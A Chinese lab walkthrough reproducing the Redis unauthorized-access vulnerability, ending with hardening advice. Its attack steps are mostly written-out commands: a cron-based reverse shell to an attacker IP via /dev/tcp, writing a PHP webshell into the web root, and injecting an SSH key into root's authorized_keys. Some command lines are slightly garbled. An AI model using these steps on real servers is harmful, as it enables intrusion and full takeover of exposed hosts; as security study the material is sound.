Redis未授权访问漏洞复现
Redis介绍
redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。
Redis 是一个高性能的key-value数据库。
漏洞简述
Redis中存在未授权访问漏洞,该漏洞源于程序在默认配置下会绑定在6379端口,这导致其直接暴露在公网中,可以接受来自任何地址发来的请求。当程序没有开启认证选项端口对外开放时,攻击者可借助目标服务器访问权限利用该漏洞未授权访问Redis并读取Redis的数据,在服务器上写入公钥,进而使用对应的私钥直接登录目标服务器。
安装Redis
下载redis安装包
下载地址
这里我是用的Redis 4.0.0
tar -zxvf redis-4.0.0.tar.gz #解压redis压缩包
cd redis-4.0.0 #切换到目录
make #编译安装
#安装过程中可能会报错
#安装gcc等插件,依据报错情况下载插件 yum install gcc/apt-get install gcc
cp redis.conf ./scr/redis.conf #复制redis.conf文件到src
修改配置文件
vim redis.conf
#bind 127.0.0.1
bind 192.168.220.129 #redis服务器所在地址
protected-mode no #将yes改为no这里
启动redis服务
./redis-server ../src/redis.conf
任务计划反弹shell
攻击机监听端口
netcat -lvp 5555
攻击机连接redis服务器
redis-cli -h 192.168.220.129
将shell写入redis,设置以下参数。
set test "\n\n*/1 * * * * /bin/bash/-i&/dev/tcp/192.168.x.x/5555 0>&1\n\n" #设置计划任务为test,写入shell,一分钟后同5555端口反弹shell。
config set dir /var/spool/cron #设置计划任务的工作目录
config set dbfilename root #设置数据库名为root
save #保存
反弹shell
通过redis将webshell写入网站
设置参数
set w "<?php phpinfo(); ?>" #设置文件内容
config set dir /var/www/html/dvwa #写入目录
config set dbfilename p.php #写入文件名称
save
可以看到已经写入
上传马儿成功连接菜刀
利用公私钥获取root权限
在攻击机上生成公钥对
ssh-keygen -t rsa
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt #将公钥id_rsa.pub文件写入test.txt文件
cat test.txt #查看写入的test.txt文件。
将test.txt文件写入redis
cat test.txt | redis-cli -h 192.168.220.129 -x set crack
连接redis设置以下参数,将公钥写入到目录下的/root/.ssh/authorized_keys文件,直接免密连接目标主机。
redis-cli -h 192.168.220.129
config set dir /root/.ssh/ #设置工作目录为/root/.ssh/
config set dbfilename "authorized_keys" #设置db名字
config get dbfilename #查看db名字
config get dir #查看工作目录
save
ssh -i id_rsa root@192.168.220.129 -p 2223
修补建议
修改默认bind 127.0.0.1的地址,修改为仅允许访问的ip地址。
修改默认的6379端口。
配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中。
参考学习文章
https://www.cnblogs.com/bmjoker/p/9548962.html#gallery-24
https://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
Redis未授权访问漏洞复现相关推荐
- 漏洞检测与防御:Redis未授权访问漏洞复现
漏洞检测与防御:Redis未授权访问漏洞复现 1. 未授权访问漏洞 未授权访问漏洞可以理解为安全配置.权限认证.授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库.网站目录等敏感 ...
- Redis未授权访问漏洞复现与利用
1.漏洞介绍 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果 ...
- Redis未授权访问漏洞复现(三种方式)
目录 利用无口令远程登陆redis 利用Redis的持久化写webshell 安装 复现 Redis 利用持久化,利用"公私钥"认证获取root权限 利用无口令远程登陆redis ...
- 未授权访问漏洞-Redis未授权访问漏洞
文章目录 未授权概述 常见未授权访问漏洞 Redis未授权访问 Redis简介 应用场景 Redis 架构 漏洞发现 端口 端口探测 Redis常用命令 Redis历史漏洞 Redis未授权访问 Re ...
- Redis未授权访问漏洞详细版
Redis未授权访问漏洞 Redis未授权访问漏洞原理 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 ...
- Redis未授权访问漏洞的重现与利用
前言: 最近配置openvas的时候安装了redis,听说曾经曝出过一个未授权访问漏洞,便找了一下相关资料想自己动手复现一下漏洞的利用过程,当然所有的攻击性操作都是在虚拟机上完成的,本文所有的操作是在 ...
- Redis未授权访问漏洞的利用及防护
什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP访问等,这样会使Redis服务完全暴露 ...
- Redis未授权访问漏洞记录(端口:6379)
目录 Redis 扫描 未授权登录以及利用 写入SSH公钥,进行远程登录 定时任务反弹shell 写入一句话木马 其它一句话木马 写入/etc/passwd文件 利用主从复制RCE 本地Red ...
- Redis未授权访问漏洞(四)SSH key免密登录
前言 系列文章 Redis未授权访问漏洞(一)先导篇 Redis未授权访问漏洞(二)Webshell提权篇 Redis未授权访问漏洞(三)Redis写入反弹连接定时任务 SSH key免密登录 实战实 ...
最新文章
- Net4.0的网站在IE10、IE11出现“__doPostBack未定义”的解决办法。
- python raise_python raise 使用方法
- 分拣外观残缺的机器人_一款分拣搬运机器人的设计
- unity 打包AssetBundle
- 类的静态成员函数带来了什么好处,应该在什么时候使用?
- 同样一句代码,在类内调用,跟类外调用结果不同?
- Multisim10~14软件包及安装手册+pojie软件
- Java基础01(常量、变量)
- php 接口签署域名,使用PHP集成万网域名查询API接口
- 利用python爬取数据并保存到MySQL中
- 计算机毕业设计ssm鲲龙装饰公司在线管理系统的设计与开发前台模块iub6h系统+程序+源码+lw+远程部署
- vs2017 自定义背景图片
- 被遗忘的设计模式——空对象模式(转载)
- 安装proteus8和卸载
- linux 进程 ssl 状态,Linux进程状态与信号
- 微信小程序一键拨打电话
- 2019年计算机考研大纲,2019年计算机考研大纲(原文).pdf
- 视频AVI如何批量快速转换成MP4格式
- 一寸证件照比例大小是多少?这些方法轻松修改照片尺寸
- JavaScript 课堂练习 随机点名,被点过的名字不再出现